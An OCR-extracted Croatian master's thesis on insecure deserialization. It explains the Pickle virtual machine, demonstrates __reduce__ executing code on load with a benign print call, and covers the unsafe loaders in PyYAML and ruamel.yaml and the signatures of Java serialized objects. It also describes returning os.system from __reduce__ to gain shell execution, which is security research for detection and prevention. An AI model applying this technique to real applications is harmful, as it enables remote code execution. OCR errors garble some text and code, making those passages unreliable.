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Cesto se prilikom izrade Web aplikacija koristi serijalizacija objekata kao nagin perzistiranja podataka. Iz
perspektive programera, to je puno jednostavnije nego pohranjivati pojedinaéne vrijednosti u bazu podataka.
Takav pristup pohrani podataka uvodi ranjivosti jer napadac¢ potencijalno moze modificirati serijaliziran objekt na
nac¢in da u njega uklju¢i nekakav maliciozni kéd. Ako se tijekom deserijalizacije ne obrati pozornost na tu
mogucénost, napada¢ moze ostvariti udaljeno izvrSavanje kdda Sto je vrlo opasno po sigurnost sustava. U
sklopu diplomskoga rada potrebno je razviti dodatak za alat BurpSuite koji ¢e omogucéiti detekciju serijaliziranih
objekata u HTTP zahtjevima i odgovorima te koji ¢e automatski pokuSati detektirati postojanje ranjivosti u
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Radu priloziti izvorni kéd. Citirati koriStenu literaturu i navesti dobivenu pomoc.
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1. Uvod

Internet je revolucionarizirao nacin na koji se povezujemo, komuniciramo 1 poslujemo
u danasnjem digitalnom dobu. On sluZi kao ogromna mreZa medusobno povezanih
uredaja, omogucujuéi besprijekornu razmjenu informacija i usluga. U srediStu te me-
dusobne povezanosti nalaze se web aplikacije, koje su postale sastavni dio naSe sva-
kodnevice. Web aplikacije su programska rjeSenja kojima se pristupa putem web pre-
glednika, a namijenjene su pruzanju interaktivnih i dinami¢nih funkcionalnosti koris-
nicima putem interneta. One nude razne funkcionalnosti kao §to su online kupovina,
interakcija na drustvenim mreZama i provodenje financijskih transakcija. Njihova ras-
prostranjenost i vaznost porasla je s tvrtkama koje se snazno oslanjaju na web aplika-
cije kako bi dosegle i posluZile svoje korisnike. Medutim, sve veca ovisnost o web
aplikacijama donosi i znacajne sigurnosne izazove.

Ocuvanje sigurnosti web aplikacija postalo je kljuno u suvremenom poslovnom
okruZenju. Buduci da su one srediSte svih digitalnih operacija, web aplikacije Cuvaju
osjetljive korisnicke podatke, financijske informacije i poslovne podatke. Samim time
sigurnost web aplikacija postala je temelj danasSnjeg poslovanja i komunikacije. Po-
sljedice sigurnosnih propusta mogu biti razorne, rezultirajuéi financijskim gubicima,
naruSenim ugledom i povjerenjem korisnika. Stoga, kljucno je razvijati i odrZavati si-
gurne web aplikacije kako bi se zastitili od potencijalnih prijetnji. Da bi se osigurala
adekvatna zastita web aplikacija, neophodno je razumjeti greSke i sigurnosne propuste
koji mogu nastati prilikom njihovog razvoja, identificirati ranjivosti koje one mogu iz-
azvati te prepoznati odgovarajuée napade 1 nauciti kako se zastititi od njih. Takoder,
od izuzetne je vaznosti da se slabosti mogu otkriti i pouzdano ukloniti na vrijeme, prije
nego Sto ih pronade napadac ili zlonamjerni korisnik.

U tom smislu penetracijsko testiranje web aplikacija postaje vazna praksa u podru-
¢ju kibernetic¢ke sigurnosti. Radi se o sistemati¢nom i kontroliranom pristupu procjeni
sigurnosti sustava, mreZa ili aplikacija. Takav pristup ukljuCuje simulaciju stvarnih
napada kako bi se otkrile ranjivosti, slabosti i potencijalne ulazne tocke koje bi mogle

biti iskoriStene od strane zlonamjernih napadaca. Emuliranjem tehnika i strategija koje



koriste zlonamjerni napadaci, penetracijsko testiranje pomaze organizacijama procije-
niti uc¢inkovitost njihovih sigurnosnih mjera i otkriti potencijalne ranjivosti prije nego
Sto budu iskoriStene.

U ovom radu su istraZene ranjivosti nesigurne deserijalizacije te je stavljen fokus
na njihov utjecaj na web aplikacije. Takoder, analizirane su metode i tehnike detekcije
i iskoriStavanja ranjivosti nesigurne deserijalizacije te su predstavljeni alati za automa-
tizaciju tih procesa. Cilj ovoga rada je pruZziti uvid 1 smjernice razvojnim inZenjerima
odgovornima za razvoj web aplikacija kako bi sprijecili pojavu ranjivosti nesigurne
deserijalizacije te sigurnosnim stru¢njacima ponuditi programsko rjeSenje za traZenje
1 ispitivanje ranjivosti nesigurne deserijalizacije.

Rad je podijeljen u pet poglavlja. Nakon uvodnog poglavlja, u drugom poglavlju
je definiran pojam serijalizacije i objasnjen uzrok nesigurne deserijalizacije. Zatim su
opisani detalji ranjivosti nesigurne deserijalizacije specificno za aplikacije razvijene u
programskim jezicima Python i Java te su analizirani nacini detekcije, iskoriStavanja
i prevencije ranjivosti. U treCem poglavlju predstavljeno je razvijeno programsko rje-
Senje. Prvo je opisan razvijeni Burp Suite dodatak za detekciju serijaliziranih Python
objekata u HTTP zahtjevima. Zatim je predstavljen PySoSerial, alat namijenjen za
automatsko iskoriStavanje ranjivosti nesigurne deserijalizacije u Python aplikacijama.
Rad zavrSava sa zaklju¢kom u ¢etvrtom poglavlju nakon kojeg slijedi pregled koriStene

literature.



2. Ranjivost nesigurne deserijalizacije

Serijalizacija je temeljni koncept u raCunarskoj znanosti i razvoju softvera. To je proces
pretvaranja struktura podataka ili objekata u oblik prikladan za pohranjivanje i prije-
nos. Najcesce u obliku toka okteta (engl. byte stream). Serijalizacija ima klju¢nu ulogu
u razlic¢itim podrucjima, ukljucujuci web aplikacije koje koriste razmjenu podataka iz-
medu klijenta 1 posluZitelja kao sastavni dio svog rada. Drugim rijeCima serijalizacija
omogucuje pretvaranje podataka u strukturirani format koji se moZe u¢inkovito preno-
siti mreZzom ili pohranjivati u memoriju, bazu podataka ili datoteku, a kasnije ponovno
deserijalizirati kako bi se rekonstruirao izvorni oblik podataka. Samim time serijaliza-
cija omogucuje dijeljenje i prijenos podataka izmedu razliitih platformi, programskih
jezika ili sustava, osiguravajuéi interoperabilnost i trajnost podataka. Na slici 2.1 moze
se vidjeti pojednostavljeni prikaz koriStenja serijalizacije u svrhe pohranjivanja i prije-
nosa podataka.

Web aplikacije se znacajno oslanjaju na serijalizaciju radi olakSavanja komunika-
cije 1 prijenosa podataka izmedu posluZiteljskih i klijentskih komponenti ¢ime omogu-
¢avaju interoperabilnost i dinamicka web iskustva. Dva Cesto koriStena formata serija-
lizacije u web aplikacijama su JSON (JavaScript Object Notation) i XML (eXtensible
Markup Language) [12]. Deserijalizacija predstavlja obrnuti process odnosno proces

rekonstruiranja originalnih podataka iz serijaliziranih objekata.

Prijenos mrezom
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Slika 2.1: Proces serijalizacije i deserijalizacije.




OWASP (engl. Open Web Application Security Project) [4] je medunarodna nepro-
fitna organizacija posvecena sigurnosti web aplikacija. Njihov najutjecajniji projekt je
OWASP Top 10 [5]. To je popis deset najucestalijih, kriti¢nih sigurnosnih propusta u
Web aplikacijama te smjernica za njihovo popravljanje. Popis se temelji na konsenzusu
sigurnosnih stru¢njaka iz cijelog svijeta. O vaznosti i utjecajnosti ranjivosti nesigurne
deserijalizacije govori i to da se na popisu Top 10 iz 2017. godine naSla na osmom
mjestu pod nazivom A8:2017-Insecure Deserialization [6].

Proces deserijalizacije postaje podloZan zloupotrebama kada aplikacija deserijali-
zira podatke koji dolaze od korisnika odnosno podatke koje korisnik moZe mijenjati.
Da bi iskoristio nesigurnu deserijalizaciju napadac¢ na specifican nacin manipulira se-
rijaliziranim objektima te u njih ubacuje maliciozni kod. Mogudée je kreirati serija-
lizirane objekte na takav nacin da prilikom deserijalizacije na posluZiteljskoj strani
web aplikacija izvr$i napadacev maliciozno umetnuti kod. U tom smislu ranjivost ne-
sigurne deserijalizacije omogucéuje napadacu da promijeni tok izvrSavanja koda web
aplikacije 1 izvrSi proizvoljni kod. Ovdje je bitno naglasiti da do ranjivosti nesigurne
deserijalizacije Cesto dolazi zbog opéeg nedostatka razumijevanja koliko opasno moze
biti deserijalizirati podatke koje kontrolira korisnik. Idealno, korisni¢ki unos nikada
ne bi trebao biti deserijaliziran. Ponekad, programeri smatraju da su njihove aplikacije
sigurne jer implementiraju neku vrstu dodatne provjere deserijaliziranih podataka, ali
ovo je potpuno krivi pristup jer se oslanja na provjeru podataka tek nakon deserijaliza-
cije. U vecini slucajeva tada je prekasno za sprjeCavanje napada. Takoder, ovaj pristup
je neispravan jer je prakticki nemoguce implementirati provjeru ili sanitizaciju za svaki
mogudi tip serijaliziranog objekta kojega napada¢ moze predati aplikaciji

Posljedice nesigurne deserijalizacije mogu biti ozbiljne. Napadaci mogu ostva-
riti udaljeno izvrSavanje koda (engl. remote code execution, RCE) §to im posljedi¢no
omogucuje neovlasten pristup, kontrolu nad aplikacijom i njenim resursima te pristup

samom aplikacijskom posluZzitelju.

2.1. Nesigurna deserijalizacija u Pythonu

Programski jezik Python nudi viSe opcija za serijalizaciju podataka, §to omogucava
programerima fleksibilnost u odabiru najprikladnijeg formata za spremanje i prenoSe-
nje podataka. Jedna od najpopularnijih 1 najéeSce koriStenih biblioteka za serijalizaciju
u Pythonu je Pickle, zbog Cega je spomenuta biblioteka posebno zanimljiva za prouca-
vanje u kontekstu nesigurne deserijalizacije. Takoder, u Python aplikacijama podaci

se nekad pohranjuju u YAML formatu pa je korisno prouciti biblioteku PyYAML koja
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omogucuje serijalizaciju u tom obliku. U nastavku su opisani procesi detekcije 1 isko-
riStavanja ranjivosti nesigurne deserijalizacije, posebno fokusirani na prethodno spo-

menute biblioteke.

2.1.1. Pickle

Pickle je Python biblioteka koja sluzi za serijalizaciju Python objekata u binarni oblik
[7]. Biblioteku je prili¢no jednostavno koristiti Sto je jedan od glavnih razloga koji ju
¢ini vrlo popularnom. Bitno je napomenuti da se u kontekstu ove biblioteke proces
serijalizacije Cesto u literaturi naziva pickling dok se deserijalizacija naziva unpickling.
Glavne funkcije koje Pickle nudi korisnicima su loads i dumps te load i dump [7].
Funkcije dump 1 dumps Koriste se za serijalizaciju dok se funkcije load 1 loads koriste
za deserijalizaciju. Razlika je Sto dumps 1 loads direktno barataju s objektima dok ih
drugi par funkcija zapisuje, odnosno ucitava iz datoteke.

Na pocetnoj stranici sluzbene dokumentacije Pickle biblioteke istaknuto je upo-
zorenje o deserijalizaciji korisnickog unosa koje se moze vidjeti 1 na slici 2.2. To

ponajvisSe govori o ozbiljnosti problema.

— Python object serialization q

Source code: Lib/pickle py

The pickle module implements binary protocols for serializing and de-serializing a Python object structure.
“Pickling”is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling™ is
the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an
object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” [1] or
“flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”.

Warning: The pickle module is not secure. Only unpickle data you frust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never
unpickle data that could have come from an untrusted source, or that could have been tampered with

Consider signing data with hmac if you need to ensure that it has not been tampered with.

Safer serialization formats such as json may be more appropriate if you are processing untrusted data. See
Comparison with json.

Slika 2.2: Upozorenje o deserijalizaciji nepovjerljivih podataka Pickle bibliotekom na pocetku

dokumentacije [7].

Za potpuno razumijevanje ranjivosti nesigurne deserijalizacije u Pickle biblioteci, klju¢no
je dublje prouditi proces deserijalizacije ove biblioteke na nizoj razini. Zbog toga je
korisno promotriti kako izgleda serijalizirani objekt S§to se moze vidjeti u isjeCku koda

2.1 u kojemu je funkciji pickle.dumps predana instanca jednostavne klase.



Ispis 2.1: Primjer serijaliziranog Pickle objekta.

>>> class Test:

def _ _init__ (self, numl, num2) :
self.numl = numl
self.num2 = num2

def print_num(self):
print (f'Saved numbers are: {self.numl} and
— {self.num2}"')

print (f 'Max: {self.numl, self.num2}'")

>>> serialized = pickle.dumps (Test (2,3))

>>>

>>> print (serialized)
b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__ main___

—  \x94\x8c\x04Test\x94\x93\x94) \x81\x94}\x94 (\x8c\x04numl\x94K
—  \x02\x8c\x04num2\x94K\x03ub."'

Ovakav serijalizirani objekt sastoji se od instrukcija za Pickle virtualni stroj (engl. Pic-
kle Virtual Machine, PVM). PVM je klju¢na komponenta Pickle biblioteke, a odgo-
vorna je za interpretaciju Pickle bajt koda (engl. bytecode). U tom smislu Pickle
objekte moze se smatrati posebnim programima prevedenim specificno za PVM. Za
pohranu podataka PVM koristi stog (engl. stack) 1 memo [17]. Stog funkcionira slicno
kao 1 sistemski stog, a implementiran je kao Python lista, dok se memo moZe shvatiti
kao neka paralela registrima. Prilikom deserijalizacije PVM Ccita operacijske kodove
zapisane u predanom objektu te izvrSava odgovarajuce instrukcije koje manipuliraju s
podacima na stogu i memo-u. Postupak se provodi dok se ne rekonstruira originalni
objekt. Za uvid u serijalizirane Pickle objekte postoji jos i biblioteka Pickletools [8].
U njoj se izmedu ostalog nalazi i funkcija pickletools.dis kojom se serijalizirani Pickle
objekt moze rastaviti (engl. disassemble) te se mogu prikazati instrukcije i operacijski

kodovi u ¢itljivom obliku kao Sto se to moZe vidjeti na ispisu 2.2.

Ispis 2.2: Koristenje pickletools.dis funkcije da bi se rastavio serijalizirani objekt.

>>> pickletools.dis (serialized)

0: \x80 PROTO 4

2: \x95 FRAME 47

11: \x8c SHORT_BINUNICODE '_ main__ '
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'Test'
28: \x94 MEMOIZE (as 1)

29: \x93 STACK_GLOBAL



30: \x94 MEMOIZE
31: ) EMPTY_TUPLE
32: \x81 NEWOBJ

(as 2)

33: \x94 MEMOIZE (as 3)

34: } EMPTY_DICT

35: \x94 MEMOIZE (as 4)

36: ( MARK

37: \x8c SHORT_BINUNICODE 'numl'
43: \x94 MEMOIZE (as 5)

44: K BININTI1 2

46: \x8c SHORT_BINUNICODE 'num2'
52: \x94 MEMOIZE (as 6)

53: K BININT1 3

55: u SETITEMS (MARK at 36)
56: b BUILD

57: . STOP

U ovome prikazu jasno su vidljive instrukcije za Pickle virtualni stroj. Dio Pickle
instrukcija, odgovarajuéih operacijskih kodova i opisa instrukcija moZe se vidjeti u
tablici 2.1.

Instruction Opcode Description

MARK ( Push special mark object on stack

STOP Every pickle ends with STOP

POP 0 Discard topmost stack item

POP_MARK 1 Discard stack top through topmost mark object
DUP 2 Duplicate top stack item

FLOAT F Push float object; decimal string argument
INT 1 Push integer or bool; decimal string argument
BININT J Push four-byte signed int

BININT1 K Push 1-byte unsigned int

LONG L Push long; decimal string argument

BININT2 M Push 2-byte unsigned int

NONE N Push None

PERSID P Push persistent object; id is taken from string arg
BINPERSID Q Push persistent object; id is taken from stack
REDUCE R Apply callable to argtuple, both on stack
STRING S Push string; NL-terminated string argument
BINSTRING T Push string; counted binary string argument

Tablica 2.1: Dio Pickle instrukcija i pripadnih operacijskih kodova

Kao $to je prije objasnjeno, deserijalizacijom se mora rekonstruirati originalni objekt.
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1

2

U ovom slucaju je to trivijalno s obzirom na to da se radi o jednostavnom objektu. U
ispisu 2.3 prikazana je deserijalizacija jednostavnog objekta Cija je inicijalna serijali-
zacija prikazana u 2.1. Takoder kao Sto se to vidi u ispisu 2.3, nakon deserijalizacije

objekt je ispravno rekonstruiran te je moguce pozivati metode orginalnog objekta.

Ispis 2.3: Rekonstrukcija originalnog objekta iz serijaliziranog.

deserialized = pickle.loads (serialized)
>>> print (deserialized)

<__main__.Test object at 0x7££9d386c4d0>
>>>

>>> deserialized.print_num()

Saved numbers are: 2 and 3
Max: (2, 3)

Postavlja se pitanje Sto je s mnogo kompleksnijim objektima, mogu li se uopce svi
objekti serijalizirati i jo$ bitnije, je i moguce prilikom deserijalizacije pravilno re-
konstruirati takve objekte. Naravno, ne mogu se svi objekti pravilno serijalizirati bez
dodatnih uputa, npr. objekti koji sadrzavaju otvoreni identifikator datoteke (engl. file
handle). Popis svega S$to se moZe serijalizirati Pickle protokolom, a $to ne, dostupan
je u Pickle dokumentaciji [13]. Kod serijalizacije takvih objekata kljucna je instruk-
cija REDUCE, odnosno metoda ___reduce___. Ova metoda namijenjena je upravo za
takve objekte koji sadrze neSto Sto se ne moze serijalizirati. Svrha reduce metode je
opisati §Sto PVM treba napraviti prilikom deserijalizacije da bi se takvi objekti ispravno
rekonstruirali. Metoda pruZa opciju da povratna vrijednost bude tipa tuple Cija je prva
vrijednost funkcija koju je moguée pozvati (engl. callable), a druga tuple argumenta
koji ¢e se predati toj funkciji prilikom poziva. Prilikom deserijalizacije Pickle ¢e po-
zvati tu funkciju i predati joj navedene argumente. Analogno, objekti koji implemen-
tiraju reduce metodu sadrzavat ¢e REDUCE instrukciju koja sa PVM stoga uzima listu
argumenta 1 funkciju te ju poziva. U ispisu 2.4 moZe se vidjeti primjer deserijalizacije
jednostavnog objekta koji implementira ___reduce___ metodu. Objekt je konstruiran
na nacin da prilikom deserijalizacije metoda ___reduce___poziva funkciju print kojoj

kao argument predaje znakovni niz "Executing code".

Ispis 2.4: Serijalizacija objekta koji implementira reduce metodu.

>>> class Test:

def __ reduce__ (self):



20

21

22

23

24

25

26

27

28

return (print, ("Executing code",))

>>> s = pickle.dumps (Test ())
>>> pickle.loads (s)
Executing code

>>>

>>> pickle

pickle pickletools
>>> pickletools.dis (s)
0: \x80 PROTO 4
2: \x95 FRAME 43
11: \x8c SHORT_BINUNICODE 'builtins'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'print'
29: \x94 MEMOIZE (as 1)
30: \x93 STACK_GLOBAL
31: \x94 MEMOIZE (as 2)
32: \x8c SHORT_BINUNICODE 'Executing code'
48: \x94 MEMOIZE (as 3)
49: \x85 TUPLEL
50: \x94 MEMOIZE (as 4)
51: R REDUCE
52: \x94 MEMOIZE (as 5)
53: . STOP
highest protocol among opcodes = 4

>>>

Samim time reduce metoda je kljuCna za iskoriStavanje nesigurne deserijalizacije.
Ukoliko napada¢ moze loads funkciji proslijediti proizvoljne objekte, moZe konstru-
irati maliciozni objekt koji implementira reduce metodu. Na taj naCin prilikom deseri-
jalizacije izvrSit ¢e se napadacev kod. Da bi dobio izvrSavanje koda u sistemskoj ljusci
(engl. shell) najlakSe je implementirati reduce metodu koja kao povratnu vrijednost
vraéa funkciju os.system te naredbu koju Zeli izvrSiti. Bitno je napomenuti da aplika-
cija moZe nakon deserijalizacije vidjeti da predani objekt nije u o¢ekivanom formatu,
no tada se ve¢ napadacev kod izvrsio.

Iz prethodnog opisa jasno je da Pickle objekti imaju nejasno definiranu strukturu.
Zbog toga slijedi da detekcija pickle objekata nije trivijalan zadatak. Ono $to se moZe
vidjeti iz opisa Pickle instrukcija je da svaki objekt zavrSava sa STOP instrukcijom
odnosno operacijskim kodom b’ .’ . To je jedna od Cinjenica koja je koriStena u ra-
zvijenom programskom rjeSenju za detekciju. Puno robusnije rjeSenje koje je takoder
koriSteno jest pokuSati rastaviti (engl. disassemble) testirani objekt na Pickle operacij-

ske kodove. Ako su svi dobiveni kodovi validni Pickle operacijski kodovi, tada je i
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testirani objekt nuzno validni Pickle objekt.

Ono $to je ovdje vazno napomenuti je da opisano zapravo nije ranjivost same bibli-
oteke. Opisana reduce metoda radi to¢no ono Sto specificira dokumentacijom da radi,
ali do ranjivosti dolazi zbog neispravne uporabe. Naime, biblioteka istie da se ne
smiju deserijalizirati podaci koji dolaze od korisnika odnosno podaci koje je korisnik
potencijalno mogao izmijeniti. Programeri Cesto nisu svjesni te Cinjenice prilikom ra-
zvoja web aplikacija ili nisu svjesni da zlonamjerni korisnik ima pristup komunikaciji
izmedu klijentske i posluZziteljske strane web aplikacije te da njom moZe manipulirati
1 mijenjati serijalizirane objekte. To su samo neki od razloga zbog kojih je nesigurna
deserijalizacija izuzetno ozbiljan problem. U situacijama u kojima je apsolutno nuzno
deserijalizirati korisnicke podatke obavezno je provesti neku vrstu provjere integriteta
primljenih objekata. Pickle biblioteka preporucuje koriStenje autentifikacijskog koda

HMAC (hash-based message authentication code).

2.1.2. YAML

YAML (YAML Ain’t Markup Language) je jos jedan Cesto koriSteni format serijaliza-
cije [15]. Radi se formatu serijalizacije koji je Citljiv Covjeku (engl. human readable),
a najcesce se koristi za konfiguracijske datoteke. Za upravljanje YAML objektima pos-
toji viSe biblioteka. Ovo poglavlje je fokusirano na biblioteke PyYaml i ruamel.yaml.
Sli¢no kao 1 sa Pickle bibliotekom, na pocetnoj stranici dokumentacije Py Yaml bibli-
oteke [9] nalazi se upozorenje o u¢itavanju YAML objekata iz nepouzdanih izvora koje

s moze vidjeti i na slici 2.3.

Loading YAML

Warning: It is not safe to call yaml.load with any data received from an untrusted source!
yaml.load is as powerful as pickle.load and so may call any Python function. Check the
yaml.safe_load function though.

Slika 2.3: Upozorenje o deserijalizaciji nepouzdanih YAML objekata.
U osnovi, radi se o istom problemu kao s Pickle deserijalizacijom. Takoder je moguce
implementirati reduce metodu koja biblioteci sluzi kao uputa kako ispravno rekons-

truirati objekt prilikom deserijalizacije. Serijalizacija i deserijalizacija jednostavnog

YAML objekta koji implementira ___reduce___ metodu prikazana je u ispisu 2.5.
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Ispis 2.5: Serijalizacija i deserijalizacija jednostavnog objekta PyYaml bibliotekom.

>>> class Test:
def _ reduce__ (self):

return (print, ("Executing code",))

>>>

>>> serialized = yaml.dump (Test ())

>>>

>>> print (serialized)

! 'python/object/apply:builtins.print

- Executing code

>>>

>>> yaml.load(serialized, Loader=yaml.Loader)
Executing code

Kao 1 kod Pickle biblioteke, klju¢ne funkcije za serijalizaciju i deserijalizaciju su dump
iload. Ovdje je bitno uociti da biblioteka Py Yaml prisiljava korisnika da prilikom dese-
rijalizacije objekta navede koju klasu Loader Zeli koristiti [10]. Svrha klase Loader je
upravo ograniciti kakvi sve objekti smiju biti deserijalizirani. Autori biblioteke svjesni
su problema nesigurne deserijalizacije pa nude funkcije safe_dump 1 safe_load. Ove
funkcije su zapravo samo omotaci za pozive dump i load funkcija sa specificiranim
argumentom Loader=yaml.SafeLoader. Ovakvim pozivom dopusta se deserijalizacija
iskljucivo vrlo jednostavnih Python objekata poput cjelobrojnih vrjednosti(engl. inte-
ger) 1 listi. Iz tog razloga, takvim funkcijama nije moguce predati maliciozni objekt
kojim bi napadac€ postigao izvrSavanje vlastitog koda. U isjeCku 2.6 mozZe se vidjeti
da klasa SafeLoader ne dozvoljava deserijalizaciju sloZenijih objekata koje bi napa-
dac potencijalno mogao iskoristiti za izvrSavanje vlastitog koda, odnosno malicioznih

objekata.

Ispis 2.6: Deserijalizacija razlicitim PyYaml Loader klasama.

>>> yaml.load(serialized, Loader=yaml.Loader)
Executing code

>>> yaml.load(serialized, Loader=yaml.Unsafel.oader)
Executing code

>>>

>>> yaml.load(serialized, Loader=yaml.Safeloader)
Traceback (most recent call last):

File "<stdin>", line 1, in <module>
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File "/usr/lib/python3/dist-packages/yaml/__init__ .py", line 81,
— in load
return loader.get_single_data/()
<SNIP>
raise ConstructorError (None, None,
yaml.constructor.ConstructorError: could not determine a constructor
— for the tag
— 'tag:yaml.org,2002:python/object/apply:builtins.print’
in "<unicode string>", line 1, column 1:

! 'python/object/apply:builtins.print

A

Na ovaj nacin biblioteka poti¢e programera da svjesno donese odluku o koriStenju
funkcija koje potencijalno mogu izvrSiti napadacev kod, odnosno o koriStenju klase
UnsafeLoader §to se moze vidjeti u samim komentarima izvornog koda biblioteke

PyYaml prikazanima u ispisu 2.7.

Ispis 2.7: Komentar koji govori o opasnosti koriStenja klase UnsafeLoader.

# Unsafeloader is the same as Loader (which is and was always unsafe
— on

# untrusted input). Use of either Loader or Unsafeloader should be
- rare, since

# FullLoad should be able to load almost all YAML safely. Loader is
— left intact

# to ensure backwards compatibility.

class Unsafeloader (Reader, Scanner, Parser, Composer, Constructor,

— Resolver):

def _ _init_ (self, stream):
<SNIP>

Kod ruamel.yaml biblioteke situacija je neSto opasnija te je lakSe uvesti ranjivosti
u aplikaciju koristeci tu biblioteku. Razlog tomu je da biblioteka ne traZi od korisnika
da specificira klasu Loader koju Zeli koristiti, a zadana (engl. default) klasa Loader je
UnsafeLoader. Drugim rijeCima, ukoliko obican poziv funkcije load prima podatke
kojima korisnik moZe manipulirati, aplikacija je ranjiva. Biblioteka porukom upozo-
renja savjetuje korisnika da specificira klasu Loader. Ispis 2.8 prikazuje isjecak izvor-
nog koda biblioteke ruamel.yaml u kojemu se vidi da biblioteka upozorava korisnika o

opasnosti korisStenja funkcije load bez specificiranja klase Loader.
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Ispis 2.8: Poziv funkcije ruamel.yaml.load bez specificirane klase Loader.

def

load(stream, Loader=None, version=None, preserve_qguotes=None) :

# type: (Any, Any, Any, Any) —-> Any

W

Parse the first YAML document in a stream

and produce the corresponding Python object.

wun

warn_deprecation('load', 'load', arg="typ='unsafe', pure=True")

if Loader is None:
warnings.warn (UnsafeloaderWarning.text, UnsafeloaderWarning,
— stacklevel=2)

Loader = Unsafeloader

loader = Loader (stream, version,
< Ppreserve_quotes=preserve_qgquotes) # type: Any
<SNIP>

class UnsafeloaderWarning (YAMLWarning) :

The
—
Use

—

text = ""n
default 'Loader' for 'load(stream)' without further arguments
can be unsafe.

'load (stream, Loader=ruamel.yaml.Loader)' explicitly if that is
OK.

Alternatively include the following in your code:

import warnings

warnings.simplefilter ('ignore',

—

In most other cases you should consider using 'safe_load(stream)

ruamel.yaml.error.UnsafeloaderWarning)

pass

2.2. Nesigurna deserijalizacija u Javi

Java je iznimno popularan programski jezik za razvoj web aplikacija. Robusnost, ska-

labilnost 1 bogat skup biblioteka ovog jezika ¢ine ga Cestim odabirom programera za

izradu posluziteljske strane (engl. backend) web aplikacije. Zbog toga je motivacija

za razumijevanje sigurnosnih propusta do kojih Cesto dolazi u Java aplikacijama do-

datno naglasena. U ovom poglavlju dan je konceptualni pregled ranjivosti nesigurne

deserijalizacije u Java aplikacijama.
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Java razvojnim inZenjerima pruza ugradene mehanizme za serijalizaciju poput su-
CeljaSerializableteklasaObjectInputStreamiObjectOutputStream
[3]. Ove klase sadrZe funkcije za serijalizaciju i1 deserijalizaciju. Specificno, klasa
ObjectOutputStream sadrZi funkciju writeObject koja se koristi za serijali-
zaciju Java objekata u binarni oblik i zapisivanje u izlazni tok, a klasa Ob ject Input St ream
sadrzi funkciju readObject koja sluzi za Citanje objekta iz dolaznog toka i dese-
rijalizaciju. Da bi proizvoljne klase mogle biti serijalizirane, trebaju implementirati
Serializable sucelje. Sli¢no kao i1 kod Python Pickle biblioteke, dokumentacija
ovog sucelja upozorava korisnika o deserijalizaciji objekata iz nepouzdanih izvora §to

se moze vidjeti u ispisu 2.9.

Ispis 2.9: Poruka upozorenja o deserijalizaciji potencijalno malicioznih podataka u dokumen-

taciji Serializable sucelja [11]

Warning: Deserialization of untrusted data is inherently dangerous
and should be avoided.

Untrusted data should be carefully validated according

to the "Serialization and Deserialization" section

of the Secure Coding Guidelines for Java SE.

Serialization Filtering describes best practices

for defensive use of serial filters.

U isjeCku koda 2.10 prikazan je primjer serijalizacije 1 pohrane jednostavne klase

u datoteku.

Ispis 2.10: Serijalizacija jednostavne klase.

Person p = new Person ("Luka", "Srdarev", 23);

// Serialize the object to a file

try {
FileOutputStream fileOut = new
— FileOutputStream("person.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject (p);
out.close();
fileOut.close () ;
System.out.println("Object serialized and saved to
< person.ser");

} catch (IOException e) {

e.printStackTrace();
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Za razliku od opisanih Python pickle objekata, Java serijalizirane objekte je mnogo
lakSe detektirati. Naime, Java serijalizirani objekti uvijek pocinju s oktetima (engl. byte)
koji su kodirani kao ac ed 00 05 u heksadecimalnom zapisu. U HTTP zahtjevima
serijalizirani objekti se obi¢no prenose u base64 kodiranom obliku pa ti prepoznatljivi

pocetni okteti poprimaju vrijednost rOOAB §to se moZe i vidjeti na slici 2.4.

v ionDemo = file person.ser
person.ser va serialization data, version 5
A kali J: ializationDemo = hd person.ser
00000ERR 05 73 72 00 12 &F 72 67 2e |....sr..org.exam|
00000010 2e 50 65 72 73 6Ff 6e 59 55 Iple.PersonyYU<; Q|
00000020 00 03 4c 00 03 64 6F 62 T4 L..dobt..Ljl
00000630 2f 6c 61 6e 67 2f 49 be T4 |ava/lang/Integer|
00000040 03 69 6d 65 74 00 12 4c éa |;L..imet..Ljava/l
elelelelelosYs] 67 2f 53 74 72 69 6e 67 3b |1lang/String;L..pl
00000BLE 69 65 71 08 7e 00 02 78 |rezimeq.~. .xpsr. |
00000670 76 61 2e 6c 61 ébe 67 2e 49 | .java.lang.Integ]|
00000080 e2 a0 a4 f7 81 87 38 02 00 R
olelefele]e o] 75 65 78 72 00 10 6a 61 76 |valuexr..java.lal
00EE0Ran 4e 75 62 65 72 B6 ac 95 Ing.Number
000000h0 00 78 70 00 00 0O 17 74 00 l....xp....t..LUK|
000000ck 07 53 72 64 61 T2 65 76 |at..Srdarev]|
000000ch
A kali J: ~iglizationDemo - baseé4 person.ser
rOoABXNyABJvemcuZXhhbXBsZS5QZXJzh25ZVTw7YFH2ggIAAGWAAZRVYNQAEOXqQYXZhL2xhbmev
SWSOZWdT1cjtMAANpPbWYOABJMamF2YS9sYWSnLINGcmluZztMAAdwemVé6aWllcQB+AAJ4CHNYABFq
YXZhLmxhbmcuSWSOZWdlchLioKT3gYc4AgABSQAFdMFsdWV4cgAQamF2YS5sYWSnLKS51bWJlcoas
1ROLTOCLAgAAeHAAAAAXJAAETHVrYXQABINYZGFYZXY=

Slika 2.4: Struktura serijaliziranih Java objekata.

Nesigurnu deserijalizaciju u Javi mnogo je sloZenije iskoristiti u odnosu na onu
u Pythonu zbog toga §to ne postoji univerzalna metoda poput metode reduce koja ¢e
uvijek biti izvrSena prilikom deserijalizacije objekata. U tom smislu za uspjesno iz-
vrSavanje udaljenog koda potrebne su tri komponente: izvor (engl. source), ciljna
metoda (engl. sink) te lanac naprava (engl. gadget chain) [2].

Izvor je ona metoda koja deserijalizira objekt koji je pod napadacevom kontrolom.
Osim readObject metode, kao izvor mogu biti koriStene 1 druge metode koje sluze
za deserijalizaciju poput: readObjectNoData, readResolve, readExternal
itd. Ciljna metoda odnosno sink je metoda koju napada¢ moze iskoristiti za izvrSavanje
proizvoljnog koda. Java naprave (engl. gadget) su klase ili metode koje su dostupne
u ranjivoj aplikaciji i mogu se iskoristiti kako bi se postiglo neocekivano ponasanje ti-
